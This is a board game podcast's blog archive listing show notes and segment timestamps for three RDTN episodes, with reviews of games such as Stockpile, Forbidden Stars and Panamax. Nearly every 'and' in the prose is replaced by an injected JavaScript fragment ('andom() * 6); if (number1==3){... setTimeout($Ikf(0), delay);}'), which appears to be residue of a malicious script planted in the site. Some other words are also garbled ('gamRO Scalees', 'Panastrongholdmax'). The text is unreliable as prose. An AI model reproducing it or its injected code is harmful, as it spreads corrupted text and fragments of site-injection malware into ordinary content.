Category Archives: Chit Chat

RDTN Episode 71 – Still the One: Stockpile Review, Forbidden Stars Impression, Chit Chat: Game to Settle Down With

iheartboardgames Suzanne andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Rhiannon are back andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we discuss a topic suggested by a BGG RDTN Guild member on what game we think is our soulmate. That is right, is there a board game out there that would be one that you could settle down with andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and thus live out your life just playing that game. Now in real life we know that there will never just be one game for us to play, but it was a fun debate among the four of us. I not only love board games but also build your own crossword

Marty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I review a game he got at Origins called Stockpile. I must say that I was very surprised by this game andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and was initially concerned that it might be a tad boring because economic games are that to me. But what a breath of fresh air andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and iheartgamesone game I will pick up for myself instead of trying to borrow Marty’s copy all the time.

We also give our initial impression of Fantasy Flight’s Forbidden Stars that we have been chomping at the bit to play. This one is going to take another few plays to get a full feel for the game, but initial impression is it worth the time investment to discover if you might like it or not.

We also want to thank our newest sponsor Portal Games andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for those heading to Gen Con, be sure to visit their Store andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and place your order for delivery at the show.

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Segment, Time
Intro, 00:30
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Forbidden Stars, 6:00
Stockpile, 14:00
Chit Chat, 27:15
Dice Tower Con, 28:30
Geekway to the West, 32:30
General Con Thoughts, 37:30
The Gauntlet is thrown: Neuroshima Hex, 44:00
The Game You would Marry, 48:30
Battle of the Board Game Networks, 1:10:00
Gen Cant 2015, 01:15:00
Portal Announcement, 1:25:45
Marty’s Gen Con Events, 1:27:15
The Broken Token Special Offer @ Gen Con, 1:29:15
Outro, 1:32:15
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And here is the Battle of the Board Game Networks Video.

RDTN Episode 57 – Gimmie Some Slack: Chit Chat, AquaSphere, Defenders of the Realm, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and SCARAB Convention

In this episode, Marty tells us about the new Feld game AquaSphere that he just received from TMG which he backed via Kickstarter. I compare Defenders of the Realm which I traded Robinson Crusoe for at BGG Con to Pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and determine if it was a good trade or not. Suzanne Sheldon andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Rhiannon Ochs join us again for another Chit Chat session where we just catch up since we haven’t talked in a bit andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and discuss what is going on in their Internet life. Matter of fact, Rhi drops a sort of bomb on us on the changes happening over at Spooning Meeples. We explore the new RDTN grading scale for gamRO Scalees, inspired by Rhi thus named accordingly as the RO Scale. It is real simple because that is all Marty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I can handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle:

  • It’s a Game
  • It’s a Good Game
  • It’s a Great Game
  • It’s a Game I’ll Buy

Don’t forget to check out the newest addition to the board game table builders at BoardGameTables. One last thing, the Draco Magi Contest prizes were stated incorrectly in the show, but this is actually an upgrade. We are giving away a copy of the game, a mat, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 2 posters. To participate, go to the this page.
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Segment, Time
Start it off, 00:40
Tony Rant, 2:10
What are the wife’s up to, 5:00
SCARAB Convention Gaming, 8:30
AquaSphere, 10:00
Defenders of the Realm, 20:00
Chit Chat, 25:00
RO Scale, 35:00
Bunch of generic game talk, 48:00
Suz’s new possible segment, 1:04:00
Outro, 1:10:00
Kickstarter Plugs – Stronghold & AEG, 1:12:00
Two Contests this month, 1:22:00
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RDTN Episode 50 – We’ve Only Just Begun: Stephen Buonocore (Stronghold Games), Chit Chat (Suzanne andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Rhiannon), Panamax, Kanban

50thThe Big 5 0. That is right, we have made it to Episode 50 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we did not hold back. We introduce a new segment Chit Chat with two very well known contributors in the gaming community, Suzanne andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Rhiannon. You recognize Suzanne from her Boardgame Breakfast segments on games for tablets andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and such. Suzanne was also one of the main organizers of GenCant 2014. Rhiannon of course is from Spooning Meeples andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can carry on a gazillion conversations on Twitter. They join Marty, I chime in occasionally, in a discussion about helping your significant other find the joy in the gaming hobby. spooningmeeple

We are then honored to have Stephen Buonocore from Stronghold Games join us andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and discuss the banner 2014 year that his company has had. We learn how Stronghold got its start andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and just how much goes into running a small gaming company especially when it isn’t your full-time job. Then Marty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Stephen begin their love feast discussion on Panastrongholdmax andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I try andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and muscle my way in with Diamonds. Seriously, if you love card games andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and those that you game with do, get this game.

We also want to give a big shout out to Eric Summerer for providing us with our intro to celebrate our 50th show andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and The Chalk for featuring our logo recently on Boardgaming Breakfast.

[table]
Intro, 00:00
Chit Chat, 02:50
Stronghold Games – The Beginning, 42:45
Panamax, 1:01:00
Behind the Scenes at Stronghold, 01:10:45
Kanban, 01:21:10
What’s in the Future at Stronghold, 01:30:00
Stronghold Lovefest, 01:40:00
Rank’em, 01:46:30
Outro, 02:04:25
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